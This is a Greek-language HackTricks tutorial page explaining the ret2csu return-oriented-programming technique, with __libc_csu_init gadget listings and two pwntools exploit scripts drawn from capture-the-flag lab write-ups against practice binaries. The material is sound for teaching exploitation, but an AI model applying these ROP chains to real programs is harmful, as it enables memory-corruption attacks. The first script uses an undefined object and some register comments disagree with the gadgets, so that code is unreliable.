Ret2csu

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

https://www.scs.stanford.edu/brop/bittau-brop.pdfΒασικές Πληροφορίες

Το ret2csu είναι μια τεχνική χάκινγκ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα gadgets που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.

Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κειμήλια που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται __libc_csu_init.

Τα Μαγικά Gadgets στο __libc_csu_init

Στο __libc_csu_init, υπάρχουν δύο ακολουθίες εντολών (gadgets) που ξεχωρίζουν:

  1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε διάφορους καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Αυτό το εργαλείο μας επιτρέπει να ελέγχουμε αυτούς τους registries παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτά.

  1. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ορίσει για να κάνει μερικά πράγματα:

  • Μεταφορά συγκεκριμένων τιμών σε άλλα registries, κάνοντάς τα έτοιμα για να τα χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.

  • Εκτέλεση κλήσης σε μια τοποθεσία που καθορίζεται από την πρόσθεση των τιμών στο r15 και στο rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Ίσως δεν ξέρεις καμία διεύθυνση για να γράψεις εκεί και χρειάζεσαι μια εντολή ret. Σημείωσε ότι το δεύτερο εργαλείο θα τελειώσει επίσης με ένα ret, αλλά θα πρέπει να πληροίς κάποιες συνθήκες για να το φτάσεις:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Οι συνθήκες θα είναι:

  • Το [r12 + rbx*8] πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν υπάρχει ιδέα και δεν υπάρχει Position Independent Executable, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση _init):

  • Αν η συνάρτηση _init βρίσκεται στη διεύθυνση 0x400560, χρησιμοποιήστε το GEF για να αναζητήσετε ένα δείκτη στη μνήμη προς αυτήν και να κάνετε το [r12 + rbx*8] να είναι η διεύθυνση με το δείκτη προς το _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • Τα rbp και rbx πρέπει να έχουν την ίδια τιμή για να αποφευχθεί το άλμα

  • Υπάρχουν ορισμένα παραλειπόμενα pops που πρέπει να λάβετε υπόψη

RDI και RSI

Ένας άλλος τρόπος για να ελέγξετε τα rdi και rsi από το gadget ret2csu είναι προσπελαώντας συγκεκριμένες μετατοπίσεις:

Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:

pageBROP - Blind Return Oriented Programming

Παράδειγμα

Χρησιμοποιώντας την κλήση

Φανταστείτε ότι θέλετε να κάνετε ένα σύστημα κλήσης ή να καλέσετε μια συνάρτηση όπως η write() αλλά χρειάζεστε συγκεκριμένες τιμές στα καταχωρητές rdx και rsi ως παραμέτρους. Συνήθως, θα αναζητούσατε gadgets που ορίζουν αυτούς τους καταχωρητές απευθείας, αλλά δεν μπορείτε να βρείτε κανένα.

Εδώ είναι που μπαίνει σε παιχνίδι το ret2csu:

  1. Ρύθμιση των Καταχωρητών: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.

  2. Χρήση του Δεύτερου Gadget: Με αυτούς τους καταχωρητές ορισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σάς επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στους rdx και rsi (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας τους r15 και rbx, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο [r15 + rbx*8].

Έχετε ένα παράδειγμα χρησιμοποιώντας αυτή την τεχνική και εξηγώντας την εδώ, και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Σημειώστε ότι το προηγούμενο exploit δεν προορίζεται να κάνει RCE, αλλά απλά να καλέσει μια συνάρτηση που ονομάζεται win (παίρνοντας τη διεύθυνση του win από την είσοδο καλώντας τη gets στη ROP αλυσίδα και αποθηκεύοντάς τη στο r15) με ένα τρίτο όρισμα με την τιμή 0xdeadbeefcafed00d.

Παράκαμψη της κλήσης και φτάνοντας στο ret

Το παρακάτω exploit εξήχθη από αυτήν τη σελίδα όπου χρησιμοποιείται το ret2csu αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο ret μετά την κλήση:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Γιατί Να Μην Χρησιμοποιήσετε Απευθείας την libc;

Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες στο ret2plt + ret2lib, αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες μπορούν να ελεγχθούν εύκολα με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση write() απαιτεί τρεις παραμέτρους, και η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή.

Last updated